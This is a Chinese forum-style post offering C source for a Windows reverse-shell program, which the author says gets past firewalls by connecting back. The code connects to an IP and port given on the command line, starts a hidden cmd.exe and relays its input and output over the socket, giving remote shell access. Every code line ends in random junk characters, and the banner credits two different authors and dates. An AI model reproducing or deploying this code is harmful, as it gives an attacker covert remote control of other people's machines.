这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~PHB_cyth
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/* ============================== :P(K2q3
Rebound port in Windows NT &Ky_v^
By wind,2006/7 :"!9_p(,,
===============================*/ 14"J d\M8
#include ](^(=%
#include Ix(><#P
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#pragma comment(lib,"wsock32.lib") 1 %,a =,v
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void OutputShell(); MC{
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SOCKET sClient; 44F`$.v96
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Rh>}rGvCUN
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void main(int argc,char **argv) V@\%)J'g
{ @`,1:
WSADATA stWsaData; -%I2[)F<
int nRet; B0ndcB-
SOCKADDR_IN stSaiClient,stSaiServer; QQV~?iW{~
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if(argc != 3) 37RLE1Yf
{ "|HDGA5
printf("Useage:\n\rRebound DestIP DestPort\n"); HuVJ\%.
return; ]7/
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} @-&s: Qli
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WSAStartup(MAKEWORD(2,2),&stWsaData); MG{YrX) oi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &|`C)6[C
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stSaiClient.sin_family = AF_INET; +a*^{l}AST
stSaiClient.sin_port = htons(0); (S
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /-i!;!
{ 6HlePTf8
printf("Bind Socket Failed!\n"); ,yTjU{<"
return; <fs2fTUeqF
} s\P2Bp_{
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stSaiServer.sin_family = AF_INET; d`/tE?Gw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G7CG~:3h+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zH*KYB
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d%0~c'D8a
{ MX ;J5(Ae
printf("Connect Error!"); FEJ~k1z
return; EMc;^ d
} DK
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OutputShell(); E.U_W
} O/!bG~\Y
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void OutputShell() 5P'p2x#U
{ c-Pw]Ju
char szBuff[1024]; +L5\;
SECURITY_ATTRIBUTES stSecurityAttributes; QzAK##9bfa
OSVERSIONINFO stOsversionInfo; =dx1/4bZl|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !XzF67
STARTUPINFO stStartupInfo; > z^#
char *szShell; HdLH2+|P;D
PROCESS_INFORMATION stProcessInformation; <2nZ&M4/s{
unsigned long lBytesRead; 2 6>ZW4Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ''kS*3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E(i[o?
stSecurityAttributes.lpSecurityDescriptor = 0; EFc-foN
stSecurityAttributes.bInheritHandle = TRUE; O%ug@& S{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tdc3_<1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^7.h%lSg
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w`DW(hXJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JO@|*/mL
stStartupInfo.wShowWindow = SW_HIDE; LE%7DW(
stStartupInfo.hStdInput = hReadPipe; _H^^y$+1
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .T*GN|@$!
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GetVersionEx(&stOsversionInfo); UQ.7>Ug+8s
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switch(stOsversionInfo.dwPlatformId) Z'k|u4ZC
{ 9Mgq1Z
case 1: d|iy#hy"_
szShell = "command.com"; oQL59XOT4
break; 8+Td-\IMk
default: 2z@\R@F
szShell = "cmd.exe"; 4);)@&0Md~
break; B7Tk4q\;Q
} Ia'ZV7'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wWXD\{Hk
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send(sClient,szMsg,77,0); `4 y]Z)
while(1) 8#&q$kE
{ $v b,P(
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Zx$ol;Yd
if(lBytesRead) EbZdas!l
{ w;e(Gb%9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <vUVP\u~$
send(sClient,szBuff,lBytesRead,0); lW 81q2n
} P%MfCpyj
else p\Lq}tk<
{ {W\T"7H
lBytesRead=recv(sClient,szBuff,1024,0); SAY
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if(lBytesRead<=0) break; 4R8G&8b
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zW8*E E+,
} d`
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} v0 Ir#B,[H
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return; -TV?E%r
}